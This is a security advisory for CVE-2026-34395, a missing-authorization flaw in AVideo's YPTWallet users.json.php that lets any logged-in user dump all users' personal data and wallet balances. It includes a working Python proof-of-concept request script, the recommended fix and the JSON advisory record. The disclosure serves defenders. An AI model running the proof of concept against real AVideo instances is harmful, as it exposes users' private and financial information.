GHSA-77JP-MGCW-RFMR

Vulnerability from github – Published: 2026-03-31 23:21 – Updated: 2026-03-31 23:21
VLAI
Summary
AVideo vulnerable to Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.php
Details

Severity: High CWE: CWE-862 (Missing Authorization)

Summary

The plugin/YPTWallet/view/users.json.php endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks User::isLogged() but does not check User::isAdmin(), so any registered user can dump the full user database.

Details

The authorization check at plugin/YPTWallet/view/users.json.php:8:

if (!User::isLogged()) {
    die("Is not logged");
}

The query in YPTWallet::getAllUsers() selects all columns from both tables:

$sql = "SELECT w.*, u.*, u.id as user_id, IFNULL(balance, 0) as balance FROM users u "
    . " LEFT JOIN wallet w ON u.id = w.users_id WHERE 1=1 ";

The cleanUpRowFromDatabase() function strips fields matching /pass/i (removes password and recoverPass), but all other PII fields remain: email, phone, address, zip_code, country, region, city, first_name, last_name, birth_date, isAdmin, analyticsCode, donationLink, and balance.

Other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php) all check User::isAdmin().

Proof of Concept

import requests

TARGET = "https://your-avideo-instance.com"

# Step 1: Login as any regular (non-admin) user
session = requests.Session()
session.post(f"{TARGET}/objects/login.json.php", data={
    "user": "regular_user",
    "pass": "regular_password"
})

# Step 2: Request the users endpoint
resp = session.post(f"{TARGET}/plugin/YPTWallet/view/users.json.php", data={
    "current": "1",
    "rowCount": "10"
})

data = resp.json()
print(f"Total users: {data['total']}")
for u in data["rows"]:
    print(f"  User: {u['user']}, Email: {u['email']}, Admin: {u['isAdmin']}, Balance: {u['balance']}")

The response contains every user on the platform, including admin accounts, with fields: email, phone, address, zip_code, country, region, city, first_name, last_name, birth_date, isAdmin, balance, analyticsCode, donationLink.

Impact

Any registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.

Recommended Fix

Change User::isLogged() to User::isAdmin() at plugin/YPTWallet/view/users.json.php:8:

// plugin/YPTWallet/view/users.json.php:8
// Before:
if (!User::isLogged()) {
    die("Is not logged");
}

// After:
if (!User::isAdmin()) {
    die("Is not logged");
}

This matches the authorization pattern already used by the other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php).


Found by aisafe.io

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34395"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:21:50Z",
    "nvd_published_at": "2026-03-31T21:16:30Z",
    "severity": "MODERATE"
  },
  "details": "**Severity:** High\n**CWE:** CWE-862 (Missing Authorization)\n\n### Summary\n\nThe `plugin/YPTWallet/view/users.json.php` endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks `User::isLogged()` but does not check `User::isAdmin()`, so any registered user can dump the full user database.\n\n### Details\n\nThe authorization check at `plugin/YPTWallet/view/users.json.php:8`:\n\n```php\nif (!User::isLogged()) {\n    die(\"Is not logged\");\n}\n```\n\nThe query in `YPTWallet::getAllUsers()` selects all columns from both tables:\n\n```php\n$sql = \"SELECT w.*, u.*, u.id as user_id, IFNULL(balance, 0) as balance FROM users u \"\n    . \" LEFT JOIN wallet w ON u.id = w.users_id WHERE 1=1 \";\n```\n\nThe `cleanUpRowFromDatabase()` function strips fields matching `/pass/i` (removes `password` and `recoverPass`), but all other PII fields remain: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `analyticsCode`, `donationLink`, and `balance`.\n\nOther endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`) all check `User::isAdmin()`.\n\n### Proof of Concept\n\n```python\nimport requests\n\nTARGET = \"https://your-avideo-instance.com\"\n\n# Step 1: Login as any regular (non-admin) user\nsession = requests.Session()\nsession.post(f\"{TARGET}/objects/login.json.php\", data={\n    \"user\": \"regular_user\",\n    \"pass\": \"regular_password\"\n})\n\n# Step 2: Request the users endpoint\nresp = session.post(f\"{TARGET}/plugin/YPTWallet/view/users.json.php\", data={\n    \"current\": \"1\",\n    \"rowCount\": \"10\"\n})\n\ndata = resp.json()\nprint(f\"Total users: {data[\u0027total\u0027]}\")\nfor u in data[\"rows\"]:\n    print(f\"  User: {u[\u0027user\u0027]}, Email: {u[\u0027email\u0027]}, Admin: {u[\u0027isAdmin\u0027]}, Balance: {u[\u0027balance\u0027]}\")\n```\n\nThe response contains every user on the platform, including admin accounts, with fields: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `balance`, `analyticsCode`, `donationLink`.\n\n### Impact\n\nAny registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.\n\n### Recommended Fix\n\nChange `User::isLogged()` to `User::isAdmin()` at `plugin/YPTWallet/view/users.json.php:8`:\n\n```php\n// plugin/YPTWallet/view/users.json.php:8\n// Before:\nif (!User::isLogged()) {\n    die(\"Is not logged\");\n}\n\n// After:\nif (!User::isAdmin()) {\n    die(\"Is not logged\");\n}\n```\n\nThis matches the authorization pattern already used by the other endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`).\n\n---\n\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-77jp-mgcw-rfmr",
  "modified": "2026-03-31T23:21:50Z",
  "published": "2026-03-31T23:21:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-77jp-mgcw-rfmr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34395"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/db37b4e9d9e7c733e5d4c5881e10b2b9d2670983"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo vulnerable to Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.php"
}



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